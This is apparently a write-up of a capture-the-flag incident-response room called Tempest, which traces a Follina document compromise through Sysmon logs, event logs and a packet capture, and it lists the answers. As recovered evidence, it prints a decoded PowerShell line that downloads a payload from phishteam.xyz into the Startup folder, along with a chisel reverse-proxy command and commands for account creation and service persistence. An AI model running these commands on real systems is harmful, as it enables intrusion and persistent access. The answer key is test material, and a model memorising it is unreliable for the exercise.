Tempest

This room aims to introduce the process of analysing endpoint and network logs from a compromised asset. Given the artefacts, we will aim to uncover the incident from the Tempest machine. In this scen

Prerequisites

Before we start, this room requires basic knowledge of endpoint and network security analysis. It is highly recommended to go through the following rooms before attempting this challenge.

• Windows Event Logs

• Sysmon

• Wireshark: Packet Operations

• Brim

Investigation Environment

For this incident, we have provided a Windows machine at your disposal. You may deploy the machine by clicking the Start Machine button in the upper-right-hand corner of the task.

Preparation - Log Analysis

Before we proceed, let's have a quick refresher regarding these topics, which may help build a methodology for analysing captured events:

• Log Analysis

• Event Correlation

Log Analysis

Log analysis is the process of understanding events generated by a computer to identify anomalies such as security threats, application bugs, system performance, or other risks that may impact the organisation.

A log file is an audit trail of events or activities within the applications and systems of an organisation. Logs automatically audit any activity configured, such as system messages, authentication attempts, and network traffic generated. In addition, every log entry is audited with a timestamp of when the event occurred, which deeply aids in an investigation.

Event Correlation

Event correlation identifies significant relationships from multiple log sources, such as application logs, endpoint logs, and network logs.

Event correlation deals with identifying significant artefacts co-existing from different log sources and connecting each related artefact. For example, a network connection log may exist in various log sources, such as Sysmon logs (Event ID 3: Network Connection) and Firewall logs. Firewall logs may provide the source and destination IP, source and destination port, protocol, and the action taken. In contrast, Sysmon logs may give the process that invoked the network connection and the user running the process.

With this information, we can connect the dots of each artefact from the two data sources:

• Source and Destination IP

• Source and Destination Port

• Action Taken

• Protocol

• Process name

• User Account

• Machine Name

Event correlation can build the puzzle pieces to complete the exact scenario from an investigation.

Preparation - Tools and Artifacts

In this task, we will prepare the artefacts and introduce the tools needed for the investigation.You can get the hashes of each artefact by running Powershell from the taskbar and executing the following command:

Toolset

The toolset needed for this task is focused on analysing Sysmon Logs, Windows Event Logs, and Packet Capture.

Endpoint Logs

To analyse Windows artefacts such as Windows Event Logs and Sysmon logs, we will use the following tools:

• EvtxEcmd

• Timeline Explorer

• SysmonView

• Event Viewer

Network Logs

To analyse the provided packet capture, we will use the following tools:

• Wireshark

• Brim

EvtxEcmd & Timeline Explorer

Eric Zimmerman has created a set of forensic tools used to analyse Windows artefacts called EZTools (Eric Zimmerman's Tools). For this task, we will focus on EvtxEcmd and Timeline Explorer, as these tools are mainly used for parsing and analysing Evtx logs.

EvtxEcmd is a command-line tool which parses Windows Event Logs into different formats such as CSV, JSON, XML, etc. You may use this tool in conjunction with Timeline Explorer, created by the same author. Timeline Explorer is a GUI-based tool that functions as a data filtering and navigating application to ease incident responders in handling raw data.

To parse the provided logs, we need first to convert the EVTX logs into CSV using EvtxEcmd and then feed it into Timeline Explorer.

For TimelineExplorer.exe, we can load the exported CSV file by doing the following: File > Open > Choose sysmon.csv from C:\Users\user\Desktop\Incident Files directory.

Once the logs are loaded, you may navigate through each column and use the input field to filter specific logs via a unique string.

Lastly, you may use the search feature in the upper right-hand corner to find a unique string that may exist on any column.

SysmonView

SysmonView is a Windows GUI-based tool that visualises Sysmon Logs. Before using this tool, we must export the log file's contents into XML via Event Viewer.

The machine will notify you once the file has been successfully exported.

Usage:

• Go to File > Import Sysmon Event Logs then choose the XML files generated using the Event Viewer.

• Once loaded, the left sidebar has search functionality that can filter a specific process in mind.

• Choose the image path and session GUID to render the mapped view.

This tool can easily view the correlated events from a specific process. The example above summarises all Sysmon events related to explorer.exe.

1) What is the SHA256 hash of the capture.pcapng file?

Answer: CB3A1E6ACFB246F256FBFEFDB6F494941AA30A5A7C3F5258C3E63CFA27A23DC6

2) What is the SHA256 hash of the sysmon.evtx file?

Answer: 665DC3519C2C235188201B5A8594FEA205C3BCBC75193363B87D2837ACA3C91F

3) What is the SHA256 hash of the windows.evtx file?

Initial Access - Malicious Document

Tempest Incident

In this incident, you will act as an Incident Responder from an alert triaged by one of your Security Operations Center analysts. The analyst has confirmed that the alert has a CRITICAL severity that needs further investigation.

As reported by the SOC analyst, the intrusion started from a malicious document. In addition, the analyst compiled the essential information generated by the alert as listed below:

• The malicious document has a .doc extension.

• The user downloaded the malicious document via chrome.exe.

• The malicious document then executed a chain of commands to attain code execution.

Investigation Guide

To aid with the investigation, you may refer to the cheatsheet crafted by the team applicable to this scenario:

• Start with the events generated by Sysmon.

• EvtxEcmd, Timeline Explorer, and SysmonView can interpret Sysmon logs.

• Follow the child processes of WinWord.exe.

• Use filters such as ParentProcessID or ProcessID to correlate the relationship of each process.

• We can focus on Sysmon events such as Process Creation (Event ID 1) and DNS Queries (Event ID 22) to correlate the activity generated by the malicious document.

1) The user of this machine was compromised by a malicious document. What is the file name of the document?

There are many ways to get the file name, so let's start by the first method.

I utilized EvExCmd to convert the sysmon.evtx file into CSV format for analysis with Timeline Explorer.

To identify the malicious document's filename, I examined the CSV file using Timeline Explorer and searched for entries containing ".doc".

We can also get the answer using Event Viewer. To find .doc files, open the sysmon.evtx file in Event Viewer, filter for Event ID 11 (File Create), and search the results.

Answer: free_magicules.doc

2) What is the name of the compromised user and machine?

Answer: benimaru-TEMPEST

3) What is the PID of the Microsoft Word process that opened the malicious document?

Using Timeline Explorer, we can identify the Process ID (PID) of the WinWord.exe process.

Answer: 496

4) Based on Sysmon logs, what is the IPv4 address resolved by the malicious domain used in the previous question?

I used SysmonView to solve this question. Before that, I converted sysmon.evtx to sysmon.xml and then imported it into SysmonView.

I filtered the WinWord.exe process. Scrolling down reveals the malicious domain name and the destination IP.

We can also resolve this by using Timeline Explorer and filtering for WinWord.exe.

Answer: 167.71.199.191

5) What is the base64 encoded string in the malicious payload executed by the document?

I used Timeline Explorer, searched for base64, and found only one event.

6) What is the CVE number of the exploit used by the attacker to achieve a remote code execution?

In the Hint, we've told that "External research needed. Observe the parent-child relationship of Winword.exe and the process that executed the malicious base64 payload."

The process executing the base64 is msdt.exe, as identified in the previous question. I searched for msdt.exe and WinWord.exe on Google and found the answer.

Answer: 2022-30190

Initial Access - Stage 2 execution

Malicious Document - Stage 2

Based on the initial findings, we discovered that there is a stage 2 execution:

• The document has successfully executed an encoded base64 command.

• Decoding this string reveals the exact command chain executed by the malicious document.

Investigation Guide

With the following discoveries, we may refer again to the cheatsheet to continue with the investigation:

• The Autostart execution reflects explorer.exe as its parent process ID.

• Child processes of explorer.exe within the event timeframe could be significant.

• Process Creation (Event ID 1) and File Creation (Event ID 11) succeeding the document execution are worth checking.

1) The malicious execution of the payload wrote a file on the system. What is the full target path of the payload?

I copied the base64 payload and decoded it using CyberChef.

Let's break down this code:

• $app=[Environment]::GetFolderPath('ApplicationData'):

  • This command retrieves the path to the current user's Application Data directory, which is usually something like C:\Users\<Username>\AppData\Roaming.

  • The result is stored in the $app variable.

• cd "$app\Microsoft\Windows\Start Menu\Programs\Startup":

  • This changes the current directory to the Windows Startup folder. The Startup folder is where programs or scripts placed inside will automatically run when the user logs in.

• iwr http://phishteam.xyz/02dcf07/update.zip -outfile update.zip:

  • iwr is an alias for the Invoke-WebRequest cmdlet, which is used to download files from the web.

  • This command downloads a file named update.zip from http://phishteam.xyz/02dcf07/ and saves it in the current directory (which is the Startup folder) as update.zip.

• Expand-Archive .\update.zip -DestinationPath .:

  • This extracts the contents of update.zip into the current directory (again, the Startup folder).

  • Expand-Archive is a cmdlet used to unzip files.

• rm update.zip:

  • This command removes (deletes) the update.zip file after it has been extracted, using the Remove-Item cmdlet (where rm is an alias).

Afterward, I used Timeline Explorer to search for update.zip and found the full path.

Answer: C:\Users\benimaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

2) The implanted payload executes once the user logs into the machine. What is the executed command upon a successful login of the compromised user?

I used Event Viewer to filter by Event ID 1 (Process Create) and searched for explorer.exe.

I used Timeline Explorer to search for explorer.exe and found the answer.

3) Based on Sysmon logs, what is the SHA256 hash of the malicious binary downloaded for stage 2 execution?

Based on the previous question, we identified the malicious file as ‘first.exe,’ so I will search for it on Timeline Explore.

Examine the event where the parent process is powershell.exe and the executable is first.exe.

Alternatively, use Event Viewer to search for first.exe.

Answer: CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8

4) The stage 2 payload downloaded establishes a connection to a c2 server. What is the domain and port used by the attacker?

Using either Timeline Explorer or Event Viewer.

Event Id 22

Initial Access - Malicious Document Traffic

Malicious Document Traffic

Based on the collected findings, we discovered that the attacker fetched the stage 2 payload remotely:

• We discovered the Domain and IP invoked by the malicious document on Sysmon logs.

• There is another domain and IP used by the stage 2 payload logged from the same data source.

Investigation Guide

Since we have discovered network-related artefacts, we may again refer to our cheatsheet, which focuses on Network Log Analysis:

• We can now use Brim and Wireshark to investigate the packet capture.

• Find network events related to the harvested domains and IP addresses.

• Sample Brim filter that you can use for this investigation: _path=="http" "<malicious domain>"

1) What is the URL of the malicious payload embedded in the document?

From the previous task, we identified two suspicious domains: resolvecyber.xyz for C2 and phishteam.xyz for downloading the document file.

_path=="http" "phishteam.xyz" | cut host, uri

2) What is the encoding used by the attacker on the c2 connection?

_path=="http" "resolvecyber.xyz" | cut host, uri

Answer: Base64

3) The malicious c2 binary sends a payload using a parameter that contains the executed command results. What is the parameter used by the binary?

Answer: q

4) The malicious c2 binary connects to a specific URL to get the command to be executed. What is the URL used by the binary?

Answer: /9ab62b5

5) What is the HTTP method used by the binary?

Answer: GET

6) Based on the user agent, what programming language was used by the attacker to compile the binary?

_path=="http" "resolvecyber.xyz"  | cut host, uri, method, user_agent

Discovery - Internal Reconnaissance

Internal Reconnaissance

Based on the collected findings, we have discovered that the malicious binary continuously uses the C2 traffic:

• We can easily decode the encoded string in the network traffic.

• The traffic contains the command and output executed by the attacker.

Investigation Guide

To continue with the investigation, we may focus on the following information:

• Find network and process events connecting to the malicious domain.

• Find network events that contain an encoded command.

• We can use Brim to filter all packets containing the encoded string.

• Look for endpoint enumeration commands since the attacker is already inside the machine.

In addition, we may refer to our cheatsheet for Brim to quickly investigate the encoded traffic with the following filters:

• To get all HTTP requests related to the malicious C2 traffic: _path=="http" "<replace domain>" id.resp_p==<replace port> | cut ts, host, id.resp_p, uri | sort ts

1) The attacker was able to discover a sensitive file inside the machine of the user. What is the password discovered on the aforementioned file?

Here I used Brim to go through the Base64 encoded commands and then use Cyberchef to decode them

_path=="http" "resolvecyber.xyz" | cut ts, host, uri, id.resp_p | sort ts

Answer: infernotempest

2) The attacker then enumerated the list of listening ports inside the machine. What is the listening port that could provide a remote shell inside the machine?

Port 5985 is used for Windows Remote Management (WinRM), a Microsoft protocol for remote management and scripting.

Answer: 5985

3) The attacker then established a reverse socks proxy to access the internal services hosted inside the machine. What is the command executed by the attacker to establish the connection?

While decoding the base64 commands, I observed that the attacker downloaded a file named ch.exe. Let’s search for this file in Timeline Explorer.

Answer: "C:\Users\benimaru\Downloads\ch.exe" client 167.71.199.191:8080 R:socks

4) What is the SHA256 hash of the binary used by the attacker to establish the reverse socks proxy connection?

Answer: 8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451

5) What is the name of the tool used by the attacker based on the SHA256 hash? Provide the answer in lowercase.

Search by the SHA256 hash of the ch.exe file on VirusTotal.

Answer: chisel

6) The attacker then used the harvested credentials from the machine. Based on the succeeding process after the execution of the socks proxy, what service did the attacker use to authenticate?

Since port 5985 is used for WinRM, let’s search for it in Timeline Explorer.

wsmprovhost.exe is the Windows Service Management Provider Host. It is used by the WinRM service to handle requests from management clients.

Answer: winrm

Privilege Escalation - Exploiting Privileges

Privilege Escalation

Based on the collected findings, the attacker gained a stable shell through a reverse socks proxy.

Investigation Guide

With this, we can focus on the following network and endpoint events:

• Look for events executed after the successful execution of the reverse socks proxy tool.

• Look for potential privilege escalation attempts, as the attacker has already established a persistent low-privilege access.

1) After discovering the privileges of the current user, the attacker then downloaded another binary to be used for privilege escalation. What is the name and the SHA256 hash of the binary?

Using Brim, I filtered by phishteam.xyz and found a file named spf.exe immediately after ch.exe. I then searched for spf.exe in Timeline Explorer.

The attacker downloaded the file from phishteam.xyz.

Answer: spf.exe,8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D

2) Based on the SHA256 hash of the binary, what is the name of the tool used?

Answer: printspoofer

3) The tool exploits a specific privilege owned by the user. What is the name of the privilege?

I found the answer by searching for “printspoofer” on Google.

Answer: SeImpersonatePrivilege

4) Then, the attacker executed the tool with another binary to establish a c2 connection. What is the name of the binary?

After spf.exe was downloaded, another file named final.exe was also downloaded and used alongside spf.exe.

Answer: final.exe

5) The binary connects to a different port from the first c2 connection. What is the port used?

I accessed Event Viewer, filtered for Event ID 3 (Network Connection), and searched for final.exe.

Answer: 8080

Actions on Objective - Fully-owned Machine

Fully-Owned Machine

Now, the attacker has gained administrative privileges inside the machine. Find all persistence techniques used by the attacker.

In addition, the unusual executions are related to the malicious C2 binary used during privilege escalation.

Investigation Guide

Now, we can rely on our cheatsheet to investigate events after a successful privilege escalation:

• Useful Brim filter to get all HTTP requests related to the malicious C2 traffic : _path=="http" "<replace domain>" id.resp_p==<replace port> | cut ts, host, id.resp_p, uri | sort ts

• The attacker gained SYSTEM privileges; now, the user context for each malicious execution blends with NT Authority\System.

• All child events of the new malicious binary used for C2 are worth checking.

1) Upon achieving SYSTEM access, the attacker then created two users. What are the account names?

Using Timeline Explorer, I filtered by final.exe as the parent process and Event ID 1 (Process Create). This revealed that two users were created using net.exe.

Answer: shion,shuna

2) Prior to the successful creation of the accounts, the attacker executed commands that failed in the creation attempt. What is the missing option that made the attempt fail?

To add a user to a local group on a Windows machine, you can use the net localgroup command. Here is the syntax:

net localgroup [GroupName] [Username] /add

Answer: /add

3) Based on windows event logs, the accounts were successfully created. What is the event ID that indicates the account creation activity?

Answer: 4720

4) The attacker added one of the accounts in the local administrator's group. What is the command used by the attacker?

Answer: net localgroup administrators /add shion

5) Based on windows event logs, the account was successfully added to a sensitive group. What is the event ID that indicates the addition to a sensitive local group?

Answer: 4732

6) After the account creation, the attacker executed a technique to establish persistent administrative access. What is the command executed by the attacker to achieve this?

I located the command by searching for final.exe and scrolling down.

The command C:\Windows\system32\sc.exe \TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto is used to create a new Windows service on a remote machine named TEMPEST. Here's a detailed breakdown of the command and its components:

Command Components:

1. C:\Windows\system32\sc.exe: This is the Service Control (sc) command-line utility in Windows, used for communicating with the Service Control Manager and services.

2. \TEMPEST: This specifies the remote machine named TEMPEST on which the service is being created. If this part is omitted, the command would apply to the local machine.

3. create: This argument tells sc.exe to create a new service.

4. TempestUpdate2: This is the name of the service being created.

5. binpath= C:\ProgramData\final.exe: This specifies the binary path for the service, which is the executable file that will run when the service starts. In this case, it's C:\ProgramData\final.exe.

6. start= auto: This sets the startup type of the service. auto means the service will start automatically with the operating system.

Answer: C:\Windows\system32\sc.exe \TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto